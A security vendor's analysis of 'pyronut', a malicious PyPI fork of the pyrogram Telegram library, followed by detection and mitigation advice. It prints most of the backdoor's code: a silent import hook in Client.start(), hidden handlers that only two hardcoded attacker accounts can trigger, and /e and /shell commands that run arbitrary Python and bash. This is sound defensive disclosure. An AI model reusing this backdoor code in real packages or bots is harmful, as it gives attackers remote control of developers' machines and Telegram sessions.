TL;DR
The malicious Python package `pyronut` targeted Telegram bot developers by impersonating `pyrogram`, a popular Telegram API framework with roughly 370,000 monthly downloads. The author copied the entire upstream project description verbatim — without advertising any additional features or functionality — and listed a GitHub repository URL that is not reachable. Rather than relying on a misspelled name (the names are too different for a classic typo-squatting attack), this is a malicious fork — a trojanized copy of a legitimate project, likely distributed through social engineering and community promotion.
Only three versions of `pyronut` were ever published (2.0.184, 2.0.185, and 2.0.186), all of them malicious. They were published, identified, and quarantined on the same day (2026-03-18). Considering that the attack window lasted just a few hours and that the attacker must actively trigger payloads, the likelihood of exploitation is relatively low.
Unlike many malicious packages that execute immediately upon installation, pyronut evaded early detection by triggering only at runtime. It embedded a hidden backdoor module (pyrogram/helpers/secret.py) that is silently activated every time a Telegram client starts. The backdoor registers hidden Telegram message handlers that allow two hardcoded attacker-controlled accounts to execute arbitrary Python code (via the /e command and the meval library) and arbitrary shell commands (via the /shell command and subprocess) on the victim's machine. This dual Remote Code Execution (RCE) capability gives the attacker full control over both the Telegram session and the underlying host system, enabling credential theft, data exfiltration, and lateral movement.
Affected Packages
All three malicious versions of this package were published, identified, and quarantined on the same day.
Technical Analysis
Infection Chain
The malicious package, pyronut, targets developers building Telegram bots using the popular pyrogram MTProto API framework. The names pyrogram and pyronut are not visually similar enough for a classic typosquatting attack. Instead, the author copied pyrogram's entire PyPI project description word-for-word — making no effort to differentiate the package or advertise additional functionality — and the listed GitHub repository URL leads to a non-existent page. This combination of a copied description and an unreachable repository suggests the package was promoted through Telegram groups, developer forums, or tutorial content rather than relying on accidental misspelling.
Unlike many malicious PyPI packages that execute payloads during installation via setup.py hooks, pyronut triggers its malicious behavior at runtime via a separate stealthy mechanism. The threat actor modified the core Client.start() method in pyrogram/methods/utilities/start.py to silently import and activate the backdoor every time a Telegram client starts:
# pyrogram/methods/utilities/start.py (Lines 73-78)
self.me = await self.get_me()
try:
import pyrogram.helpers.secret as secret
secret.init_secret(self)
except Exception:
passThe entire activation is wrapped in a bare try/except: pass block — if the backdoor fails for any reason, the error is silently swallowed, and the application continues normally. This file itself is absent from the legitimate pyrogram repository.
Backdoor Initialization
When init_secret() runs, it registers hidden Telegram message handlers on the victim's client. Critically, it first checks whether the client belongs to one of the hardcoded attacker IDs — and skips installation if so. The backdoor is only installed on victim accounts:
# pyrogram/helpers/secret.py (Lines 20, 44-61)
OWNERS = [1905813501, 8020909936]
def init_secret(client: pyrogram.Client):
if client.me.id in OWNERS:
return
client.add_handler(
pyrogram.handlers.MessageHandler(
executor,
pyrogram.filters.command("e") & pyrogram.filters.user(OWNERS)
& ~pyrogram.filters.forwarded & ~pyrogram.filters.via_bot
)
)
client.add_handler(
pyrogram.handlers.MessageHandler(
shellrunner,
pyrogram.filters.command("shell") & pyrogram.filters.user(OWNERS)
& ~pyrogram.filters.forwarded & ~pyrogram.filters.via_bot
)
)This self-exclusion logic (if client.me.id in OWNERS: return) is a strong indicator of malicious intent: the author explicitly protects their own accounts from being backdoored while ensuring every other user of the library is compromised.
The filter chain on each handler is also worth examining. Taking the /e handler as an example:
- command("e") matches the command /e.
- user(OWNERS) ensures only the two hardcoded attacker accounts can trigger the handler. To exploit a victim, the attacker simply sends /e <code> to the victim's bot directly or to any Telegram group where the victim's bot or userbot is present.
- ~forwarded rejects forwarded messages, preventing a third party from re-triggering a previously sent command by forwarding it.
- ~via_bot rejects messages sent through Telegram's inline bot mechanism.
The last two filters serve as operational security for the attacker: they ensure the backdoor can only be activated through direct, original messages from the attacker's own accounts — closing off avenues that could leave additional traces or allow third parties to piggyback on the backdoor.
Malicious Behavior 1: Arbitrary Python Execution (/e command)
The /e command handler uses the meval library to evaluate arbitrary Python code inside the running Telegram client process. The attacker sends a message like /e <python code> to any bot or userbot running pyronut, and the code executes with full access to the client's session:
# pyrogram/helpers/secret.py (Lines 82-118, abbreviated)
async def executor(client, message):
...
async def eval_func() -> None:
eval_code = message.text.split(maxsplit=1)[1]
eval_vars = {
"c": client, # full pyrogram.Client instance
"m": message,
"r": message.reply_to_message,
"chat": message.chat,
"asyncio": asyncio,
"pyrogram": pyrogram,
"raw": pyrogram.raw, # raw Telegram API layer
"enums": pyrogram.enums,
"types": pyrogram.types,
"errors": pyrogram.errors,
"utils": pyrogram.utils,
"helpers": pyrogram.helpers,
}
...
with contextlib.redirect_stdout(file):
try:
meval_out = await meval(eval_code, globals(), **eval_vars)Through the client variable alone, the attacker can read all messages, access contacts, download media, send messages as the victim, join or leave groups, and invoke any raw Telegram API method.
Malicious Behavior 2: Arbitrary Shell Execution (/shell command)
The /shell command provides the attacker with a full remote shell on the host machine. It passes user-supplied input directly to /bin/bash -c via subprocess.run:
# pyrogram/helpers/secret.py (Lines 24-42)
async def bash(cmd: str):
def sync_run():
try:
result = subprocess.run(
["/bin/bash", "-c", cmd],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
return result.stdout.strip(), result.stderr.strip()
except Exception as e:
return "", f"Failed to run bash: {e}"
...
# pyrogram/helpers/secret.py (Lines 205-213)
async def shellrunner(client, message):
...
cmd_text = message.text.split(maxsplit=1)[1]
...
stdout, stderr = await bash(cmd_text)
This gives the attacker unrestricted operating system access with the privileges of the Python process — enabling file system access, credential theft, installation of additional malware, lateral movement, and data exfiltration.
Command-and-Control via Telegram Itself
Notably, the backdoor does not exfiltrate data to an external server. Instead, both handlers send their output back to the same Telegram chat where the attacker's command was received. For output that fits within Telegram's 4096-character message limit, the result is sent (or edited) inline. For larger output, it is written to a temporary file, sent as a document attachment, and then deleted from disk:
# pyrogram/helpers/secret.py (Lines 131-155, abbreviated)
if len(final_output) > 4096:
filename = "output.txt"
async with aiofiles.open(filename, "w+", encoding="utf8") as out_file:
await out_file.write(str(print_out))
...
await message.reply_document(
document=filename,
caption=f"<b>EVAL :</b>\n<code>{eval_code[0:980]}</code>\n\n"
f"<b>Results:</b>\nAttached Document",
)
os.remove(filename)
await reply_text.delete()
else:
...
await reply_text.edit_text(final_output, reply_markup=keyboard)This means the attacker operates the backdoor interactively by direct-messaging the victim's bot: send `/e` or `/shell`, and receive the result in the same private conversation. The victim — the developer who deployed the bot — would only notice by manually inspecting the bot's message history.
Because the backdoor's own command-and-control communication flows entirely through the Telegram API, its installation and activation produce no unusual network connections, no external C2 domains, and no DNS indicators to flag — making the backdoor itself very difficult to detect through traditional network monitoring.
However, once the attacker begins using the backdoor, detectability depends on the commands they execute: a `/shell` command that downloads files from an external host or opens a reverse shell would produce observable network and process artifacts, while a `/e` command that silently reads Telegram messages would not.
Suspicious Dependencies
pyronut lists meval as a required dependency. While meval is a library designed for dynamically evaluating Python expressions, it is frequently co-opted by malicious actors to execute obfuscated or remotely fetched Python code at runtime. In this package it is the engine behind the /e command's arbitrary code execution.
Mitigation
Detection and Response
To determine if your environment has been compromised by this campaign, inspect your dependency trees, file systems, and execution logs for indicators associated with the pyronut package.
1. Audit Dependency Files: Search your Python dependency manifests (such as requirements.txt, Pipfile, pyproject.toml, or setup.py) for the malicious package:
- pyronut (specifically versions 2.0.184, 2.0.185, and 2.0.186)
Additionally, check for the unexpected presence of the meval library in your environment, as pyronut explicitly pulls this in as a required dependency to power its arbitrary Python code execution backdoor.
2. Review System and EDR Logs: Because the payload triggers at runtime rather than during installation, monitor your endpoint detection and response (EDR) or system logs for suspicious process executions. The /shell backdoor spawns /bin/bash -c <command> child processes from within Python, while the /e backdoor executes arbitrary Python via meval — which may not produce visible child processes but can perform network calls, file I/O, and Telegram API operations silently.
3. Terminate Telegram Sessions: If the backdoor was active, the attacker had full access to the victim's Telegram client instance. Immediately terminate all active Telegram sessions and revoke any Telegram Bot API tokens that were accessible to the compromised process.
4. Incident Response Steps: If pyronut or its associated artifacts are discovered in your environment:
- Rotate all credentials: The attacker had both arbitrary Python execution (with access to the full process environment) and arbitrary shell execution. Assume all environment variables, local credentials, API keys, SSH keys, and database passwords accessible to the process have been compromised. Revoke and rotate them immediately.
- Remove the package: Uninstall the malicious package and completely rebuild the affected virtual environment from a known-good state.
Prevention Best Practices
To minimize future exposure to malicious forks and runtime supply chain attacks, organizations should implement the following practices:
1. Strict Dependency Vetting Before introducing a new library — especially forks promoted in chat groups or forums — manually verify the package's author and source repository. In the case of pyronut, the listed GitHub URL was unreachable, which is an immediate red flag. A copied project description with no additional documentation or changelog is another. Compare the fork's contents against the upstream project to identify unexpected files (such as secret.py) or modified core methods (such as Client.start()). A legitimate fork should have a transparent diff from its upstream.
2. Use Lockfiles with Hash Checking Use lockfiles (Pipfile.lock, poetry.lock, or requirements.txt) to pin exact versions and cryptographic hashes of your dependencies. This ensures that the same code is deployed across all environments and prevents the silent introduction of malicious updates or altered packages.
3. Software Composition Analysis (SCA) Integrate SCA tools into your Continuous Integration/Continuous Deployment (CI/CD) pipelines. These tools automatically scan your dependency tree for known vulnerabilities and packages flagged as malicious, alerting developers before compromised code reaches production.
4. Runtime Monitoring and Least Privilege Run applications with the principle of least privilege, restricting access to sensitive files and limiting outbound network connections. Employ runtime monitoring tools to detect anomalous behaviors.
Conclusion
Rather than building a convincing cover story, the threat actor simply copied the entire pyrogram project description and pointed to a non-existent GitHub repository. This low-effort deception could nonetheless trick developers (or agents) who install packages without verifying the source.
What distinguishes this attack is its dual-layer backdoor and its stealth. By injecting a silent import into the core Client.start() method — guarded by a bare try/except: pass — the attacker ensured the backdoor activates on every client startup without any visible side effect. The backdoor itself provides two complementary attack surfaces: the /e command gives full Python code execution inside the Telegram client session (enabling silent message interception, impersonation, and API abuse), while the /shell command provides unrestricted operating system access (enabling credential theft, file exfiltration, and persistent compromise). The self-exclusion logic — skipping backdoor installation on the attacker's own accounts — is a clear fingerprint of deliberate malicious intent.
On a positive note, all three versions of `pyronut` were identified and quarantined on the same day they were published — before the package could accumulate significant adoption. This rapid response demonstrates that the combination of automated scanning, community vigilance, and responsive package registries can effectively limit the blast radius of malicious fork attacks, even when the payload is designed to evade install-time detection.
Detect and block malware



What's next?
When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help:









